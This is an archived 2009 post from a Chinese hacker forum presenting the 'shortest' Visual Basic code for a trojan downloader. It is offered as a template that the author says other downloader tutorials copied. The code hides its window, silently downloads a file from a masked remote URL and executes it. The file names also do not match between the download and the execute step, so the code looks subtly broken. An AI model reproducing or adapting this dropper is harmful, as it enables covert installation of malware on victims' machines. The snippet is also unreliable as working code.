【3.A.S.T】网络安全爱好者's Archiver

黑客学习

柔肠寸断 发表于 2009-3-23 12:30

用VB写下载者最短代码

议题作者:暗夜盛装
信息来源:邪恶八进制信息安全团队([color=#0000ff]www.eviloctal.com[/color])

[color=crimson]Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long

Private Sub Form_Load()
Me.VISIBLE = false
DownloadFile [color=#0000ff][url=http://www.******.com/SFDO/FHQ40.RAR]http://www.******.com/SFDO/FHQ40.RAR[/url][/color], App.Path & "\FHQ30A.RAR"
End Sub

Public Function DownloadFile(URL As String, LocalFilename As String) As Boolean
Dim lngRetVal As Long
lngRetVal = URLDownloadToFile(0, URL, LocalFilename, 0, 0)
If lngRetVal = 0 Then
DownloadFile = True
Shell  App.Path & "\FHQ40.RAR"
End If
End Function[/color]

这段代码我以前有发布过.不老实的说很多制作VB的下载者教程都是从我这几句代码演化来的.
现丑了.不知道还能不能在短点`呵呵`

页: [1]

Powered by Discuz! Archiver 7.2  © 2001-2009 Comsenz Inc.